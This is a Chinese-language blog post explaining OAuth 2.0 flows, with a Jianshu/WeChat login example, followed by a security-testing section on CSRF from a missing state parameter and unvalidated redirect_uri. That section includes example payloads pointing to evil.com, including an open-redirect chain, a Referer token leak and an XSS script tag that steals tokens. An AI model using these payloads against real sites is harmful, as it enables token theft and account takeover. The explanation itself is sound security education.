OAuth2.0 简介

Posted 2023-05-06

参考技术A 1、OAuth产生背景
　　很多网站、APP 没有搭建自己的账号体系，而是直接微信，QQ，微博的这种授权方式登录。
如果需要用户名密码登录网址，app 需要明文保存用户的微博账号和密码，这样很不安全。
一旦网站、APP，被攻击就会导致用户密码泄漏，以及所有使用微信，QQ，微博登录的网站的数据泄漏。
为了解决以上的问题，OAuth 协议应运而生。

2、定义
Oauth是一个授权机制，目的让一个第三方的应用获取到一个http请求的权限,并授予部分资源访问权限。
3、基本原理
Oauth协议提供了4个部分分别是：
1.Resource Owner（资源拥有者：用户） 2.Client （第三方接入平台：请求者） 3.Resource Server （服务器资源：数据中心） 4.Authorization Server （认证服务器）
当client发起请求到资源服务器后，资源服务器会client的ID和redirect_uri提交给资源拥有者同时进行授权。
资源拥有者收到请求后会校验client的ID是否合法，合法就返回一个授权的页面给client.
client点击确认授权后，资源拥有者就会调用授权服务同时生成一个code码。回调给client
client有了code码后就可以用code码去资源拥有者的授权服务中换取token.拿到token后就拿到了用户ID

下面以processOn登录为例，其实我们在登录processOn的时候可以不需要注册账号密码，因为下面提供了我们qq,google, weibo的第三方登录方式。

step4:
资源服务器拿到这个code后，就可以用code去和微博服务器交换token，拿到token后就得到了uid, 得到uid后再获取用户头像，名称就很容易了，直接call微博服务器就可以了。

OAuth2.0安全测试简介

1、OAuth原理

OAuth是一个关于授权（authorization）的开放网络标准，目前的版本是2.0版可以参考RFC（http://www.rfcreader.com/#rfc6749） ,简单来说OAuth是用来做第三方授权的一套协议，即不泄漏第三方密码，又要让应用有权限访问第三方应用。

常见的使用场景是登录，登录的时候，我们不希望在site A重新注册新用户，而本身应用是支持第三方site C登录的，这个时候，就需要我们在site C授权给site A的应用，让siteA 去site C拉取需要注册的用户信息，然后我们就可以不用注册帐号密码实现登录site A。

oauth2有几种授权模式，主要用到的是2种，授权码模式和简化模式

oauth2实现细节参考：http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

授权码模式的特点，主要包括以下几个参数

response_type：表示授权类型，必选项，此处的值固定为"code"client_id：表示客户端的ID，必选项redirect_uri：表示重定向URI，可选项scope：表示申请的权限范围，可选项state：表示客户端的当前状态，可以指定任意值，认证服务器会原封不动地返回这个值。

简化模式的特点，请求参数包括如下几个参数

response_type：表示授权类型，此处的值固定为"token"，必选项。client_id：表示客户端的ID，必选项。redirect_uri：表示重定向的URI，可选项。scope：表示权限范围，可选项。state：表示客户端的当前状态，可以指定任意值，认证服务器会原封不动地返回这个值。

返回结果，url中通常包括#hash，如下

HTTP/1.1 302 Found  Location:http://example.com/cb#access_token=2YotnFZFEjr1zCsicMWpAA&state=xyz&token_type=example&expires_in=3600

2、举例说明

一个简单的例子，用简书登录做说明，我们要登录简书，如下所示，不注册账户，可以采用微信授权登录的方式，

整个请求就几个包，如下图所示

抓包能够看到的也就是3个重要包，点击微信图标，提交，一个请求

https://www.jianshu.com/users/auth/wechat

返回一个跳转，继续请求

https://open.weixin.qq.com/connect/qrconnect?appid=wxe9199d568fe57fdd&client_id=wxe9199d568fe57fdd&redirect_uri=http://www.jianshu.com/users/auth/wechat/callback&response_type=code&scope=snsapi_login&state=%7B%7D

需要点开手机微信授权，一个二维码，微信扫描就ok

授权成功之后，返回code码，

https://www.jianshu.com/users/auth/wechat/callback?code=021rb9Bp1xj37k0kvMzp1JI3Bp1rb9BK&state=%7B%7D

自动提交请求就可以登录了

实际上整个流程有8步，第6、7步是浏览器抓包看不到的。

3、可能存在的风险点

具体案例可以参考wooyun漏洞案例

1、state参数，state参数如果没有，或者为一个固定值，容易造成csrf漏洞，欺骗受害者点击，即可把权限绑定到一个设置好的client_id。

2、redirect_uri参数未校验造成的漏洞

• redirect_uri在第3步请求之后，服务端可能没有校验，直接通过第4步把code发到攻击者控制的页面

• redirect_uri在第6步，服务端可能没有校验，那么攻击者直接获取权限。

针对这个redirect_uri未校验，主要有以下几种利用方式：

b、利用url欺骗  比如 [e-mail]

d、利用可信域url跳转获取referer

redirect_uri=http://auth.com/redirect.php?url=http://evil.com

e、利用跨域请求从referer偷取token

在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token.

redirect_uri限制为app.com,然而app.com/article/1.html中允许用户发表文章,在文章中嵌入来自evil.com的外部图片.这时我们可以让redirect_uri指向该文章app.com/article/1.html,当该文章被访问时,会自动获取 evil.com/test.jpg ,这时攻击者即可从请求头的referer拿到token

f、利用XSS实现跨域

redirect_uri = http://auth.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.js"></script>

总的来说，这个漏洞，利用场景相对苛刻，不好利用。需要欺骗别人点击（不点击需要csrf环境），并且点击的时候，还需要已经登录第三方应用（不可能笨到扫二维码吧……）。

参考：

http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

https://blog.csdn.net/cd_xuyue/article/details/52084220

http://coolshell.cn/articles/11021.html

https://blog.csdn.net/cd_xuyue/article/details/52084220

https://www.cnblogs.com/flashsun/p/7424071.html